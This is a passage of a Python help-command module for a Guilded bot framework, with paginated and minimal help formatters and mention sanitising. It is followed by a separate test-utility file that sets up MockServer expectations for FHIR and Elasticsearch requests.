The context that invoked this help formatter. This is generally set after
the help command assigned, :func:`command_callback`\, has been called.
show_hidden: :class:`bool`
Specifies if hidden commands should be shown in the output.
Defaults to ``False``.
verify_checks: Optional[:class:`bool`]
Specifies if commands should have their :attr:`.Command.checks` called
and verified. If ``True``, always calls :attr:`.Command.checks`.
If ``None``, only calls :attr:`.Command.checks` in a guild setting.
If ``False``, never calls :attr:`.Command.checks`. Defaults to ``True``.
command_attrs: :class:`dict`
A dictionary of options to pass in for the construction of the help command.
This allows you to change the command behaviour without actually changing
the implementation of the command. The attributes will be the same as the
ones passed in the :class:`.Command` constructor.
"""
MENTION_TRANSFORMS = {
'@everyone': '@\u200beveryone',
'@here': '@\u200bhere',
r'<@!?[a-zA-Z0-9]{8}>': '@deleted-user',
r'<@&[a-zA-Z0-9]{8}>': '@deleted-role',
}
MENTION_PATTERN = re.compile('|'.join(MENTION_TRANSFORMS.keys()))
def __new__(cls, *args, **kwargs):
# To prevent race conditions of a single instance while also allowing
# for settings to be passed the original arguments passed must be assigned
# to allow for easier copies (which will be made when the help command is actually called)
# see Rapptz/discord.py issue 2123
self = super().__new__(cls)
# Shallow copies cannot be used in this case since it is not unusual to pass
# instances that need state, e.g. Paginator or what have you into the function
# The keys can be safely copied as-is since they're 99.99% certain of being
# string keys
deepcopy = copy.deepcopy
self.__original_kwargs__ = {k: deepcopy(v) for k, v in kwargs.items()}
self.__original_args__ = deepcopy(args)
return self
def __init__(self, **options):
self.show_hidden = options.pop('show_hidden', False)
self.verify_checks = options.pop('verify_checks', True)
self.command_attrs = attrs = options.pop('command_attrs', {})
attrs.setdefault('name', 'help')
attrs.setdefault('help', 'Shows this message')
self.context: Context = None
self._command_impl = _HelpCommandImpl(self, **self.command_attrs)
def copy(self):
obj = self.__class__(*self.__original_args__, **self.__original_kwargs__)
obj._command_impl = self._command_impl
return obj
def _add_to_bot(self, bot):
command = _HelpCommandImpl(self, **self.command_attrs)
bot.add_command(command)
self._command_impl = command
def _remove_from_bot(self, bot):
bot.remove_command(self._command_impl.name)
self._command_impl._eject_cog()
def add_check(self, func):
"""
Adds a check to the help command.
Parameters
----------
func
The function that will be used as a check.
"""
self._command_impl.add_check(func)
def remove_check(self, func):
"""
Removes a check from the help command.
This function is idempotent and will not raise an exception if
the function is not in the command's checks.
Parameters
----------
func
The function to remove from the checks.
"""
self._command_impl.remove_check(func)
def get_bot_mapping(self):
"""Retrieves the bot mapping passed to :meth:`send_bot_help`."""
bot = self.context.bot
mapping = {cog: cog.get_commands() for cog in bot.cogs.values()}
mapping[None] = [c for c in bot.commands if c.cog is None]
return mapping
@property
def invoked_with(self):
"""Similar to :attr:`Context.invoked_with` except properly handles
the case where :meth:`Context.send_help` is used.
If the help command was used regularly then this returns
the :attr:`Context.invoked_with` attribute. Otherwise, if
it the help command was called using :meth:`Context.send_help`
then it returns the internal command name of the help command.
Returns
---------
:class:`str`
The command name that triggered this invocation.
"""
command_name = self._command_impl.name
ctx = self.context
if ctx is None or ctx.command is None or ctx.command.qualified_name != command_name:
return command_name
return ctx.invoked_with
def get_command_signature(self, command):
"""Retrieves the signature portion of the help page.
Parameters
------------
command: :class:`Command`
The command to get the signature of.
Returns
--------
:class:`str`
The signature for the command.
"""
parent = command.parent
entries = []
while parent is not None:
if not parent.signature or parent.invoke_without_command:
entries.append(parent.name)
else:
entries.append(parent.name + ' ' + parent.signature)
parent = parent.parent
parent_sig = ' '.join(reversed(entries))
if len(command.aliases) > 0:
aliases = '|'.join(command.aliases)
fmt = f'[{command.name}|{aliases}]'
if parent_sig:
fmt = parent_sig + ' ' + fmt
alias = fmt
else:
alias = command.name if not parent_sig else parent_sig + ' ' + command.name
return f'{self.context.clean_prefix}{alias} {command.signature}'
def remove_mentions(self, string):
"""Removes mentions from the string to prevent abuse.
This includes ``@everyone``, ``@here``, member mentions and role mentions.
Returns
-------
:class:`str`
The string with mentions removed.
"""
def replace(obj, *, transforms=self.MENTION_TRANSFORMS):
return transforms.get(obj.group(0), '@invalid')
return self.MENTION_PATTERN.sub(replace, string)
@property
def cog(self):
"""A property for retrieving or setting the cog for the help command.
When a cog is set for the help command, it is as-if the help command
belongs to that cog. All cog special methods will apply to the help
command and it will be automatically unset on unload.
To unbind the cog from the help command, you can set it to ``None``.
Returns
--------
Optional[:class:`Cog`]
The cog that is currently set for the help command.
"""
return self._command_impl.cog
@cog.setter
def cog(self, cog):
# Remove whatever cog is currently valid, if any
self._command_impl._eject_cog()
# If a new cog is set then inject it.
if cog is not None:
self._command_impl._inject_into_cog(cog)
def command_not_found(self, string):
"""|maybecoro|
A method called when a command is not found in the help command.
This is useful to override for i18n.
Defaults to ``No command called {0} found.``
Parameters
------------
string: :class:`str`
The string that contains the invalid command. Note that this has
had mentions removed to prevent abuse.
Returns
---------
:class:`str`
The string to use when a command has not been found.
"""
return f'No command called "{string}" found.'
def subcommand_not_found(self, command, string):
"""|maybecoro|
A method called when a command did not have a subcommand requested in the help command.
This is useful to override for i18n.
Defaults to either:
- ``'Command "{command.qualified_name}" has no subcommands.'``
- If there is no subcommand in the ``command`` parameter.
- ``'Command "{command.qualified_name}" has no subcommand named {string}'``
- If the ``command`` parameter has subcommands but not one named ``string``.
Parameters
------------
command: :class:`Command`
The command that did not have the subcommand requested.
string: :class:`str`
The string that contains the invalid subcommand. Note that this has
had mentions removed to prevent abuse.
Returns
---------
:class:`str`
The string to use when the command did not have the subcommand requested.
"""
if isinstance(command, Group) and len(command.all_commands) > 0:
return f'Command "{command.qualified_name}" has no subcommand named {string}'
return f'Command "{command.qualified_name}" has no subcommands.'
async def filter_commands(self, commands, *, sort=False, key=None):
"""|coro|
Returns a filtered list of commands and optionally sorts them.
This takes into account the :attr:`verify_checks` and :attr:`show_hidden`
attributes.
Parameters
------------
commands: Iterable[:class:`Command`]
An iterable of commands that are getting filtered.
sort: :class:`bool`
Whether to sort the result.
key: Optional[Callable[:class:`Command`, Any]]
An optional key function to pass to :func:`py:sorted` that
takes a :class:`Command` as its sole parameter. If ``sort`` is
passed as ``True`` then this will default as the command name.
Returns
---------
List[:class:`Command`]
A list of commands that passed the filter.
"""
if sort and key is None:
key = lambda c: c.name
iterator = commands if self.show_hidden else filter(lambda c: not c.hidden, commands)
if self.verify_checks is False:
# if we do not need to verify the checks then we can just
# run it straight through normally without using await.
return sorted(iterator, key=key) if sort else list(iterator)
if self.verify_checks is None and not self.context.guild:
# if verify_checks is None and we're in a DM, don't verify
return sorted(iterator, key=key) if sort else list(iterator)
# if we're here then we need to check every command if it can run
async def predicate(cmd):
try:
return await cmd.can_run(self.context)
except CommandError:
return False
ret = []
for cmd in iterator:
valid = await predicate(cmd)
if valid:
ret.append(cmd)
if sort:
ret.sort(key=key)
return ret
def get_max_size(self, commands):
"""Returns the largest name length of the specified command list.
Parameters
------------
commands: Sequence[:class:`Command`]
A sequence of commands to check for the largest size.
Returns
--------
:class:`int`
The maximum width of the commands.
"""
as_lengths = (guilded.utils._string_width(c.name) for c in commands)
return max(as_lengths, default=0)
def get_destination(self):
"""Returns the :class:`~guilded.abc.Messageable` where the help command will be output.
You can override this method to customise the behaviour.
By default this returns the context's channel.
Returns
-------
:class:`.abc.Messageable`
The destination where the help command will be output.
"""
return self.context.channel
async def send_error_message(self, error):
"""|coro|
Handles the implementation when an error happens in the help command.
For example, the result of :meth:`command_not_found` will be passed here.
You can override this method to customise the behaviour.
By default, this sends the error message to the destination
specified by :meth:`get_destination`.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
Parameters
------------
error: :class:`str`
The error message to display to the user. Note that this has
had mentions removed to prevent abuse.
"""
destination = self.get_destination()
await destination.send(error)
@_not_overriden
async def on_help_command_error(self, ctx, error):
"""|coro|
The help command's error handler, as specified by :ref:`ext_commands_error_handler`.
Useful to override if you need some specific behaviour when the error handler
is called.
By default this method does nothing and just propagates to the default
error handlers.
Parameters
------------
ctx: :class:`Context`
The invocation context.
error: :class:`CommandError`
The error that was raised.
"""
pass
async def send_bot_help(self, mapping):
"""|coro|
Handles the implementation of the bot command page in the help command.
This function is called when the help command is called with no arguments.
It should be noted that this method does not return anything -- rather the
actual message sending should be done inside this method. Well behaved subclasses
should use :meth:`get_destination` to know where to send, as this is a customisation
point for other users.
You can override this method to customise the behaviour.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
Also, the commands in the mapping are not filtered. To do the filtering
you will have to call :meth:`filter_commands` yourself.
Parameters
------------
mapping: Mapping[Optional[:class:`Cog`], List[:class:`Command`]]
A mapping of cogs to commands that have been requested by the user for help.
The key of the mapping is the :class:`~.commands.Cog` that the command belongs to, or
``None`` if there isn't one, and the value is a list of commands that belongs to that cog.
"""
return None
async def send_cog_help(self, cog):
"""|coro|
Handles the implementation of the cog page in the help command.
This function is called when the help command is called with a cog as the argument.
It should be noted that this method does not return anything -- rather the
actual message sending should be done inside this method. Well behaved subclasses
should use :meth:`get_destination` to know where to send, as this is a customisation
point for other users.
You can override this method to customise the behaviour.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
To get the commands that belong to this cog see :meth:`Cog.get_commands`.
The commands returned not filtered. To do the filtering you will have to call
:meth:`filter_commands` yourself.
Parameters
-----------
cog: :class:`Cog`
The cog that was requested for help.
"""
return None
async def send_group_help(self, group):
"""|coro|
Handles the implementation of the group page in the help command.
This function is called when the help command is called with a group as the argument.
It should be noted that this method does not return anything -- rather the
actual message sending should be done inside this method. Well behaved subclasses
should use :meth:`get_destination` to know where to send, as this is a customisation
point for other users.
You can override this method to customise the behaviour.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
To get the commands that belong to this group without aliases see
:attr:`Group.commands`. The commands returned not filtered. To do the
filtering you will have to call :meth:`filter_commands` yourself.
Parameters
-----------
group: :class:`Group`
The group that was requested for help.
"""
return None
async def send_command_help(self, command):
"""|coro|
Handles the implementation of the single command page in the help command.
It should be noted that this method does not return anything -- rather the
actual message sending should be done inside this method. Well behaved subclasses
should use :meth:`get_destination` to know where to send, as this is a customisation
point for other users.
You can override this method to customise the behaviour.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
.. admonition:: Showing Help
:class: helpful
There are certain attributes and methods that are helpful for a help command
to show such as the following:
- :attr:`Command.help`
- :attr:`Command.brief`
- :attr:`Command.short_doc`
- :attr:`Command.description`
- :meth:`get_command_signature`
There are more than just these attributes but feel free to play around with
these to help you get started to get the output that you want.
Parameters
-----------
command: :class:`Command`
The command that was requested for help.
"""
return None
async def prepare_help_command(self, ctx, command=None):
"""|coro|
A low level method that can be used to prepare the help command
before it does anything. For example, if you need to prepare
some state in your subclass before the command does its processing
then this would be the place to do it.
The default implementation does nothing.
.. note::
This is called *inside* the help command callback body. So all
the usual rules that happen inside apply here as well.
Parameters
-----------
ctx: :class:`Context`
The invocation context.
command: Optional[:class:`str`]
The argument passed to the help command.
"""
pass
async def command_callback(self, ctx, *, command=None):
"""|coro|
The actual implementation of the help command.
It is not recommended to override this method and instead change
the behaviour through the methods that actually get dispatched.
- :meth:`send_bot_help`
- :meth:`send_cog_help`
- :meth:`send_group_help`
- :meth:`send_command_help`
- :meth:`get_destination`
- :meth:`command_not_found`
- :meth:`subcommand_not_found`
- :meth:`send_error_message`
- :meth:`on_help_command_error`
- :meth:`prepare_help_command`
"""
await self.prepare_help_command(ctx, command)
bot = ctx.bot
if command is None:
mapping = self.get_bot_mapping()
return await self.send_bot_help(mapping)
# Check if it's a cog
cog = bot.get_cog(command)
if cog is not None:
return await self.send_cog_help(cog)
maybe_coro = guilded.utils.maybe_coroutine
# If it's not a cog then it's a command.
# Since we want to have detailed errors when someone
# passes an invalid subcommand, we need to walk through
# the command group chain ourselves.
keys = command.split(' ')
cmd = bot.all_commands.get(keys[0])
if cmd is None:
string = await maybe_coro(self.command_not_found, self.remove_mentions(keys[0]))
return await self.send_error_message(string)
for key in keys[1:]:
try:
found = cmd.all_commands.get(key)
except AttributeError:
string = await maybe_coro(self.subcommand_not_found, cmd, self.remove_mentions(key))
return await self.send_error_message(string)
else:
if found is None:
string = await maybe_coro(self.subcommand_not_found, cmd, self.remove_mentions(key))
return await self.send_error_message(string)
cmd = found
if isinstance(cmd, Group):
return await self.send_group_help(cmd)
else:
return await self.send_command_help(cmd)
class DefaultHelpCommand(HelpCommand):
"""The implementation of the default help command.
This inherits from :class:`HelpCommand`.
It extends it with the following attributes.
Attributes
------------
width: :class:`int`
The maximum number of characters that fit in a line.
Defaults to 80.
sort_commands: :class:`bool`
Whether to sort the commands in the output alphabetically. Defaults to ``True``.
dm_help: Optional[:class:`bool`]
A tribool that indicates if the help command should DM the user instead of
sending it to the channel it received it from. If the boolean is set to
``True``, then all help output is DM'd. If ``False``, none of the help
output is DM'd. If ``None``, then the bot will only DM when the help
message becomes too long (dictated by more than :attr:`dm_help_threshold` characters).
Defaults to ``False``.
dm_help_threshold: Optional[:class:`int`]
The number of characters the paginator must accumulate before getting DM'd to the
user if :attr:`dm_help` is set to ``None``. Defaults to 1000.
indent: :class:`int`
How much to indent the commands from a heading. Defaults to ``2``.
commands_heading: :class:`str`
The command list's heading string used when the help command is invoked with a category name.
Useful for i18n. Defaults to ``"Commands:"``
no_category: :class:`str`
The string used when there is a command which does not belong to any category(cog).
Useful for i18n. Defaults to ``"No Category"``
paginator: :class:`Paginator`
The paginator used to paginate the help command output.
"""
def __init__(self, **options):
self.width = options.pop('width', 80)
self.indent = options.pop('indent', 2)
self.sort_commands = options.pop('sort_commands', True)
self.dm_help = options.pop('dm_help', False)
self.dm_help_threshold = options.pop('dm_help_threshold', 1000)
self.commands_heading = options.pop('commands_heading', "Commands:")
self.no_category = options.pop('no_category', 'No Category')
self.paginator = options.pop('paginator', None)
if self.paginator is None:
self.paginator = Paginator()
super().__init__(**options)
def shorten_text(self, text):
""":class:`str`: Shortens text to fit into the :attr:`width`."""
if len(text) > self.width:
return text[:self.width - 3].rstrip() + '...'
return text
def get_ending_note(self):
""":class:`str`: Returns help command's ending note. This is mainly useful to override for i18n purposes."""
command_name = self.invoked_with
return (
f"Type {self.context.clean_prefix}{command_name} command for more info on a command.\n"
f"You can also type {self.context.clean_prefix}{command_name} category for more info on a category."
)
def add_indented_commands(self, commands, *, heading, max_size=None):
"""Indents a list of commands after the specified heading.
The formatting is added to the :attr:`paginator`.
The default implementation is the command name indented by
:attr:`indent` spaces, padded to ``max_size`` followed by
the command's :attr:`Command.short_doc` and then shortened
to fit into the :attr:`width`.
Parameters
-----------
commands: Sequence[:class:`Command`]
A list of commands to indent for output.
heading: :class:`str`
The heading to add to the output. This is only added
if the list of commands is greater than 0.
max_size: Optional[:class:`int`]
The max size to use for the gap between indents.
If unspecified, calls :meth:`~HelpCommand.get_max_size` on the
commands parameter.
"""
if not commands:
return
self.paginator.add_line(heading)
max_size = max_size or self.get_max_size(commands)
get_width = guilded.utils._string_width
for command in commands:
name = command.name
width = max_size - (get_width(name) - len(name))
entry = f'{self.indent * " "}{name:<{width}} {command.short_doc}'
self.paginator.add_line(self.shorten_text(entry))
async def send_pages(self):
"""A helper utility to send the page output from :attr:`paginator` to the destination."""
destination = self.get_destination()
for page in self.paginator.pages:
await destination.send(page)
def add_command_formatting(self, command):
"""A utility function to format the non-indented block of commands and groups.
Parameters
------------
command: :class:`Command`
The command to format.
"""
if command.description:
self.paginator.add_line(command.description, empty=True)
signature = self.get_command_signature(command)
self.paginator.add_line(signature, empty=True)
if command.help:
try:
self.paginator.add_line(command.help, empty=True)
except RuntimeError:
for line in command.help.splitlines():
self.paginator.add_line(line)
self.paginator.add_line()
def get_destination(self):
ctx = self.context
if self.dm_help is True:
return ctx.author
elif self.dm_help is None and len(self.paginator) > self.dm_help_threshold:
return ctx.author
else:
return ctx.channel
async def prepare_help_command(self, ctx, command):
self.paginator.clear()
await super().prepare_help_command(ctx, command)
async def send_bot_help(self, mapping):
ctx = self.context
bot = ctx.bot
if bot.description:
# <description> portion
self.paginator.add_line(bot.description, empty=True)
no_category = f'\u200b{self.no_category}:'
def get_category(command, *, no_category=no_category):
cog = command.cog
return cog.qualified_name + ':' if cog is not None else no_category
filtered = await self.filter_commands(bot.commands, sort=True, key=get_category)
max_size = self.get_max_size(filtered)
to_iterate = itertools.groupby(filtered, key=get_category)
# Now we can add the commands to the page.
for category, commands in to_iterate:
commands = sorted(commands, key=lambda c: c.name) if self.sort_commands else list(commands)
self.add_indented_commands(commands, heading=category, max_size=max_size)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_command_help(self, command):
self.add_command_formatting(command)
self.paginator.close_page()
await self.send_pages()
async def send_group_help(self, group):
self.add_command_formatting(group)
filtered = await self.filter_commands(group.commands, sort=self.sort_commands)
self.add_indented_commands(filtered, heading=self.commands_heading)
if filtered:
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_cog_help(self, cog):
if cog.description:
self.paginator.add_line(cog.description, empty=True)
filtered = await self.filter_commands(cog.get_commands(), sort=self.sort_commands)
self.add_indented_commands(filtered, heading=self.commands_heading)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
class MinimalHelpCommand(HelpCommand):
"""An implementation of a help command with minimal output.
This inherits from :class:`HelpCommand`.
Attributes
------------
sort_commands: :class:`bool`
Whether to sort the commands in the output alphabetically. Defaults to ``True``.
commands_heading: :class:`str`
The command list's heading string used when the help command is invoked with a category name.
Useful for i18n. Defaults to ``"Commands"``
aliases_heading: :class:`str`
The alias list's heading string used to list the aliases of the command. Useful for i18n.
Defaults to ``"Aliases:"``.
dm_help: Optional[:class:`bool`]
A tribool that indicates if the help command should DM the user instead of
sending it to the channel it received it from. If the boolean is set to
``True``, then all help output is DM'd. If ``False``, none of the help
output is DM'd. If ``None``, then the bot will only DM when the help
message becomes too long (dictated by more than :attr:`dm_help_threshold` characters).
Defaults to ``False``.
dm_help_threshold: Optional[:class:`int`]
The number of characters the paginator must accumulate before getting DM'd to the
user if :attr:`dm_help` is set to ``None``. Defaults to 1000.
no_category: :class:`str`
The string used when there is a command which does not belong to any category(cog).
Useful for i18n. Defaults to ``"No Category"``
paginator: :class:`Paginator`
The paginator used to paginate the help command output.
"""
def __init__(self, **options):
self.sort_commands = options.pop('sort_commands', True)
self.commands_heading = options.pop('commands_heading', "Commands")
self.dm_help = options.pop('dm_help', False)
self.dm_help_threshold = options.pop('dm_help_threshold', 1000)
self.aliases_heading = options.pop('aliases_heading', "Aliases:")
self.no_category = options.pop('no_category', 'No Category')
self.paginator = options.pop('paginator', None)
if self.paginator is None:
self.paginator = Paginator(suffix=None, prefix=None)
super().__init__(**options)
async def send_pages(self):
"""A helper utility to send the page output from :attr:`paginator` to the destination."""
destination = self.get_destination()
for page in self.paginator.pages:
await destination.send(page)
def get_opening_note(self):
"""Returns help command's opening note. This is mainly useful to override for i18n purposes.
The default implementation returns ::
Use `{prefix}{command_name} [command]` for more info on a command.
You can also use `{prefix}{command_name} [category]` for more info on a category.
Returns
-------
:class:`str`
The help command opening note.
"""
command_name = self.invoked_with
return (
f"Use `{self.context.clean_prefix}{command_name} [command]` for more info on a command.\n"
f"You can also use `{self.context.clean_prefix}{command_name} [category]` for more info on a category."
)
def get_command_signature(self, command):
return f'{self.context.clean_prefix}{command.qualified_name} {command.signature}'
def get_ending_note(self):
"""Return the help command's ending note. This is mainly useful to override for i18n purposes.
The default implementation does nothing.
Returns
-------
:class:`str`
The help command ending note.
"""
return None
def add_bot_commands_formatting(self, commands, heading):
"""Adds the minified bot heading with commands to the output.
The formatting should be added to the :attr:`paginator`.
The default implementation is a bold underline heading followed
by commands separated by an EN SPACE (U+2002) in the next line.
Parameters
-----------
commands: Sequence[:class:`Command`]
A list of commands that belong to the heading.
heading: :class:`str`
The heading to add to the line.
"""
if commands:
# U+2002 Middle Dot
joined = '\u2002'.join(c.name for c in commands)
self.paginator.add_line(f'__**{heading}**__')
self.paginator.add_line(joined)
def add_subcommand_formatting(self, command):
"""Adds formatting information on a subcommand.
The formatting should be added to the :attr:`paginator`.
The default implementation is the prefix and the :attr:`Command.qualified_name`
optionally followed by an En dash and the command's :attr:`Command.short_doc`.
Parameters
-----------
command: :class:`Command`
The command to show information of.
"""
fmt = '{0}{1} \N{EN DASH} {2}' if command.short_doc else '{0}{1}'
self.paginator.add_line(fmt.format(self.context.clean_prefix, command.qualified_name, command.short_doc))
def add_aliases_formatting(self, aliases):
"""Adds the formatting information on a command's aliases.
The formatting should be added to the :attr:`paginator`.
The default implementation is the :attr:`aliases_heading` bolded
followed by a comma separated list of aliases.
This is not called if there are no aliases to format.
Parameters
-----------
aliases: Sequence[:class:`str`]
A list of aliases to format.
"""
self.paginator.add_line(f'**{self.aliases_heading}** {", ".join(aliases)}', empty=True)
def add_command_formatting(self, command):
"""A utility function to format commands and groups.
Parameters
------------
command: :class:`Command`
The command to format.
"""
if command.description:
self.paginator.add_line(command.description, empty=True)
signature = self.get_command_signature(command)
if command.aliases:
self.paginator.add_line(signature)
self.add_aliases_formatting(command.aliases)
else:
self.paginator.add_line(signature, empty=True)
if command.help:
try:
self.paginator.add_line(command.help, empty=True)
except RuntimeError:
for line in command.help.splitlines():
self.paginator.add_line(line)
self.paginator.add_line()
def get_destination(self):
ctx = self.context
if self.dm_help is True:
return ctx.author
elif self.dm_help is None and len(self.paginator) > self.dm_help_threshold:
return ctx.author
else:
return ctx.channel
async def prepare_help_command(self, ctx, command):
self.paginator.clear()
await super().prepare_help_command(ctx, command)
async def send_bot_help(self, mapping):
ctx = self.context
bot = ctx.bot
if bot.description:
self.paginator.add_line(bot.description, empty=True)
note = self.get_opening_note()
if note:
self.paginator.add_line(note, empty=True)
no_category = f'\u200b{self.no_category}'
def get_category(command, *, no_category=no_category):
cog = command.cog
return cog.qualified_name if cog is not None else no_category
filtered = await self.filter_commands(bot.commands, sort=True, key=get_category)
to_iterate = itertools.groupby(filtered, key=get_category)
for category, commands in to_iterate:
commands = sorted(commands, key=lambda c: c.name) if self.sort_commands else list(commands)
self.add_bot_commands_formatting(commands, category)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_cog_help(self, cog):
bot = self.context.bot
if bot.description:
self.paginator.add_line(bot.description, empty=True)
note = self.get_opening_note()
if note:
self.paginator.add_line(note, empty=True)
if cog.description:
self.paginator.add_line(cog.description, empty=True)
filtered = await self.filter_commands(cog.get_commands(), sort=self.sort_commands)
if filtered:
self.paginator.add_line(f'**{cog.qualified_name} {self.commands_heading}**')
for command in filtered:
self.add_subcommand_formatting(command)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_group_help(self, group):
self.add_command_formatting(group)
filtered = await self.filter_commands(group.commands, sort=self.sort_commands)
if filtered:
note = self.get_opening_note()
if note:
self.paginator.add_line(note, empty=True)
self.paginator.add_line(f'**{self.commands_heading}**')
for command in filtered:
self.add_subcommand_formatting(command)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_command_help(self, command):
self.add_command_formatting(command)
self.paginator.close_page()
await self.send_pages()
|
import json
import os
from glob import glob
from pathlib import Path
from typing import Dict, Any, List, Optional
from spark_pipeline_framework_testing.mockserver_client.mockserver_client import (
MockServerFriendlyClient,
request,
response,
times,
text_equals,
times_any,
json_equals,
)
def load_mock_fhir_requests_from_folder(
folder: Path,
mock_client: MockServerFriendlyClient,
method: str = "POST",
relative_path: Optional[str] = None,
query_string: Optional[Dict[str, str]] = None,
url_prefix: Optional[str] = None,
response_body: Optional[str] = None,
) -> List[str]:
"""
Loads all .json files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for .json files (recursively)
:param mock_client: client to mock server
:param method:
:param relative_path:
:param query_string:
:param url_prefix:
:param response_body:
"""
file_name: str
files: List[str] = sorted(glob(str(folder.joinpath("**/*.json")), recursive=True))
for file_name in files:
# load file as json
with open(file_name, "r") as file:
contents = json.loads(file.read())
if isinstance(contents, list) and not relative_path:
for fhir_request in contents:
mock_single_request(
fhir_request=fhir_request,
method=method,
mock_client=mock_client,
relative_path=relative_path,
query_string=query_string,
url_prefix=url_prefix,
response_body=response_body,
)
else:
mock_single_request(
fhir_request=contents,
method=method,
mock_client=mock_client,
relative_path=relative_path,
query_string=query_string,
url_prefix=url_prefix,
response_body=response_body,
)
return files
def mock_single_request(
fhir_request: Dict[str, Any],
method: str,
mock_client: MockServerFriendlyClient,
relative_path: Optional[str],
query_string: Optional[Dict[str, str]],
url_prefix: Optional[str],
response_body: Optional[str],
) -> None:
# find id and resourceType
if method == "POST":
# id_ = fhir_request["id"]
# noinspection PyPep8Naming
resourceType = fhir_request["resourceType"]
id_ = fhir_request["id"]
path = (
f"{("/" + url_prefix) if url_prefix else ""}/4_0_0/{resourceType}/1/$merge"
)
payload: str = json.dumps([{"id": id_, "updated": False, "created": True}])
mock_client.expect(
request(
method="POST",
path=path,
body=json_equals([fhir_request]),
),
response(body=payload),
timing=times_any(),
)
print(f"Mocking: POST {mock_client.base_url}{path}: {json.dumps(fhir_request)}")
else:
if not relative_path:
id_ = fhir_request["id"]
# noinspection PyPep8Naming
resourceType = fhir_request["resourceType"]
path = (
f"{("/" + url_prefix) if url_prefix else ""}/4_0_0/{resourceType}/{id_}"
)
mock_client.expect(
request(method="GET", path=path, querystring=query_string),
response(body=json.dumps(fhir_request)),
timing=times(1),
)
else:
path = f"{("/" + url_prefix) if url_prefix else ""}/4_0_0/{relative_path}"
mock_client.expect(
request(method="GET", path=path, querystring=query_string),
response(body=json.dumps(fhir_request)),
timing=times(1),
)
print(f"Mocking: GET {mock_client.base_url}{path}{query_string or ""}")
# noinspection PyPep8Naming
def load_mock_fhir_everything_requests_from_folder(
folder: Path,
mock_client: MockServerFriendlyClient,
resourceType: str,
url_prefix: Optional[str] = None,
) -> List[str]:
"""
Loads all .json files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for .json files (recursively)
:param mock_client:
:param resourceType:
:param url_prefix:
"""
file_name: str
files: List[str] = glob(str(folder.joinpath("**/*.json")), recursive=True)
for file_name in files:
# load file as json
with open(file_name, "r") as file:
fhir_request: Dict[str, Any] = json.loads(file.read())
# find id and resourceType
id_: str = fhir_request["id"]
path = f"{("/" + url_prefix) if url_prefix else ""}/4_0_0/{resourceType}/{id_}/$everything"
mock_client.expect(
request(
method="GET",
path=path,
),
response(body=json.dumps(fhir_request)),
timing=times(1),
)
print(f"Mocking: GET {mock_client.base_url}{path}")
return files
# noinspection PyPep8Naming
def load_mock_fhir_everything_batch_requests_from_folder(
folder: Path,
mock_client: MockServerFriendlyClient,
resourceType: str,
ids: List[str],
url_prefix: Optional[str] = None,
) -> List[str]:
"""
Loads all .json files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for .json files (recursively)
:param mock_client:
:param resourceType:
:param url_prefix:
:param ids: id of resources for this batch to load
"""
file_name: str
files: List[str] = glob(str(folder.joinpath("**/*.json")), recursive=True)
result_bundle = {
"resourceType": "Bundle",
"id": "bundle-example",
"type": "collection",
"entry": [],
}
print(f"mock fhir batch request for {ids}")
for file_name in files:
with open(file_name, "r") as file:
fhir_bundle: Dict[str, Any] = json.loads(file.read())
if "entry" not in fhir_bundle:
print(f"{file_name} has no entry property!")
continue
for entry in fhir_bundle["entry"]:
id = entry.get("resource", {}).get("id", "")
if id in ids:
result_bundle["entry"].append(entry) # type: ignore
# find id and resourceType
path = (
f"{("/" + url_prefix) if url_prefix else ""}/4_0_0/{resourceType}/$everything"
)
mock_client.expect(
request(method="GET", path=path, querystring={"id": ",".join(ids)}),
response(body=json.dumps(result_bundle)),
timing=times(1),
)
print(f"Mocking: GET {mock_client.base_url}{path}")
return files
def load_mock_elasticsearch_requests_from_folder(
folder: Path, mock_client: MockServerFriendlyClient, index: str
) -> List[str]:
"""
Loads all .json files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for .json files (recursively)
:param mock_client:
:param index:
"""
file_name: str
files: List[str] = glob(str(folder.joinpath("**/*.json")), recursive=True)
for file_name in files:
# load file as json
with open(file_name, "r") as file:
lines: List[str] = file.readlines()
http_request: str = "\n".join(
[
(json.dumps(json.loads(line))) if line != "\n" else ""
for line in lines
]
)
# noinspection PyPep8Naming
path = f"/{index}/_bulk"
# noinspection SpellCheckingInspection
mock_client.expect(
request(
method="POST",
path=path,
body=text_equals(http_request),
),
response(
headers={"Content-Type": "application/json"},
body=f"""
{{
"took": 194,
"errors": false,
"items": [
{{
"index": {{
"_index": "{index}",
"_type": "_doc",
"_id": "TESQ93YBW4SQ_M9deEJw",
"_version": 1,
"result": "created"
}}
}},
{{
"index": {{
"_index": "{index}",
"_type": "_doc",
"_id": "TUSQ93YBW4SQ_M9deEJw",
"_version": 1,
"result": "created"
}}
}}
]
}}""",
),
timing=times(1),
)
print(f"Mocking: POST {mock_client.base_url}{path}")
return files
def load_mock_source_api_responses_from_folder(
folder: Path, mock_client: MockServerFriendlyClient, url_prefix: Optional[str]
) -> List[str]:
"""
Mock responses for all files from the folder and its sub-folders
from https://pypi.org/project/mockserver-friendly-client/
:param folder: where to look for files (recursively)
:param mock_client:
:param url_prefix:
"""
file_path: str
files: List[str] = sorted(glob(str(folder.joinpath("**/*")), recursive=True))
for file_path in files:
with open(file_path, "r") as file:
content = file.read()
path = f"{("/" + url_prefix) if url_prefix else ""}/{os.path.basename(file_path)}"
mock_client.expect(
request(
method="GET",
path=path,
),
response(body=content),
timing=times(1),
)
print(f"Mocking: GET {mock_client.base_url}{path}")
return files
